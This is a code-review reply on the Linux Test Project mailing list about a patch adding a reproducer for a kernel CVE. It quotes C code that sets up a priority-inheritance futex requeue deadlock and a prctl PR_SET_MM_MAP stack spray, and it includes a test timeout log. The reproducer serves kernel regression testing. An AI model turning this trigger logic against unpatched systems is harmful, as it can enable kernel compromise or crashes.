[LTP] [PATCH v3 2/2] cve: add CVE-2026-43499 reproducer

[Petr Vorel]

Hi Andrea,

FYI on some of my Tumbleweed VM with 7.2.0-rc6-3.g1b28f10-default
test timeouts:

tst_test.c:2047: TINFO: LTP version: 20260529-202-ga91c5b6036
tst_test.c:2050: TINFO: Tested kernel: 7.2.0-rc6-3.g1b28f10-default #1 SMP PREEMPT_DYNAMIC Thu Aug  6 23:49:19 UTC 2026 (1b28f10) x86_64
tst_kconfig.c:90: TINFO: Parsing kernel config '/proc/config.gz'
tst_kconfig.c:756: TINFO: CONFIG_FAULT_INJECTION kernel option detected which might slow the execution
tst_test.c:1875: TINFO: Overall timeout per run is 0h 05m 00s
ghostlock.c:191: TINFO: Triggering PI deadlock and stack spray
Test timeouted, sending SIGKILL!
tst_test.c:1947: TINFO: If you are running on slow machine, try exporting LTP_TIMEOUT_MUL > 1
tst_test.c:1949: TBROK: Test killed! (timeout?)

> +static int futex_wait_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2,
> +				 struct timespec *ts)
> +{
> +	return tst_syscall(__NR_futex, uaddr, FUTEX_WAIT_REQUEUE_PI, 0, ts,
> +			   uaddr2, 0);
> +}
> +
> +static int futex_cmp_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2)
> +{
> +	return tst_syscall(__NR_futex, uaddr, FUTEX_CMP_REQUEUE_PI, 1, 1,
> +			   uaddr2, 0);
> +}
> +
> +static int futex_lock_pi(uint32_t *uaddr)
> +{
> +	return tst_syscall(__NR_futex, uaddr, FUTEX_LOCK_PI, 0, 0, 0, 0);
> +}
> +
> +static int futex_unlock_pi(uint32_t *uaddr)
> +{
> +	return tst_syscall(__NR_futex, uaddr, FUTEX_UNLOCK_PI, 0, 0, 0, 0);
> +}
nit: we already have sys_futex() in include/tst_timer.h, maybe using it?

> +
> +static void *waiter_fn(void *arg LTP_ATTRIBUTE_UNUSED)
> +{
> +	struct timespec ts;
> +	struct prctl_mm_map mm_map = {
> +		.start_code  = (uint64_t)(uintptr_t)&waiter_fn,
> +		.end_code    = (uint64_t)(uintptr_t)&waiter_fn + 0x1000,
> +		.start_data  = (uint64_t)(uintptr_t)auxv & ~0xfffUL,
> +		.end_data    = ((uint64_t)(uintptr_t)auxv & ~0xfffUL) + 0x1000,
> +		.start_brk   = (uint64_t)(uintptr_t)sbrk(0),
> +		.brk         = (uint64_t)(uintptr_t)sbrk(0),
> +		.start_stack = (uint64_t)(uintptr_t)&mm_map,
> +		.arg_start   = (uint64_t)(uintptr_t)&mm_map,
> +		.arg_end     = (uint64_t)(uintptr_t)&mm_map,
> +		.env_start   = (uint64_t)(uintptr_t)&mm_map,
> +		.env_end     = (uint64_t)(uintptr_t)&mm_map,
> +		.auxv        = (void *)auxv,
> +		.auxv_size   = valid_auxv_size,
> +		.exe_fd      = (uint32_t)-1,
> +	};

nice magic :).
> +
> +	waiter_tid = tst_syscall(__NR_gettid);
> +
> +	futex_lock_pi(&f_pi_chain);
> +
> +	TST_CHECKPOINT_WAKE2(CP_CHAIN_HELD, 2);
> +	TST_CHECKPOINT_WAIT(CP_OWNER_BLOCKED);
> +
> +	SAFE_CLOCK_GETTIME(CLOCK_MONOTONIC, &ts);
> +	ts = tst_timespec_add(ts, (struct timespec){ .tv_sec = 10, .tv_nsec = 0 });
> +	futex_wait_requeue_pi(&f_wait, &f_pi_target, &ts);
> +
> +	TST_CHECKPOINT_WAKE(CP_SPRAYED);
> +
> +	while (!tst_atomic_load(&stop_spray)) {
> +		prctl(PR_SET_MM, PR_SET_MM_MAP, (unsigned long)&mm_map,
> +		      sizeof(mm_map), 0);

Maybe SAFE_PRCTL() ?
> +	}
> +
> +	TST_CHECKPOINT_WAIT(CP_SETATTR_DONE);
> +
> +	futex_unlock_pi(&f_pi_chain);
> +
> +	return NULL;
> +}
> +
> +static void *owner_fn(void *arg LTP_ATTRIBUTE_UNUSED)
> +{
> +	owner_tid = tst_syscall(__NR_gettid);
> +
> +	TST_CHECKPOINT_WAIT(CP_CHAIN_HELD);
> +
> +	futex_lock_pi(&f_pi_target);
> +	TST_CHECKPOINT_WAKE(CP_TARGET_HELD);
> +
> +	futex_lock_pi(&f_pi_chain);
> +
> +	futex_unlock_pi(&f_pi_chain);
> +	futex_unlock_pi(&f_pi_target);
> +
> +	return NULL;
> +}
> +
> +static void setup(void)
> +{
> +	static const int try_sizes[] = {
very nit: why static?

> +		MAX_AUXV_WORDS,
> +		MAX_AUXV_WORDS - 4,
> +		MAX_AUXV_WORDS - 8
I wonder why these other 2?

Code LGTM, but I'd like to have at least brief look at the original reproducers.

Kind regards,
Petr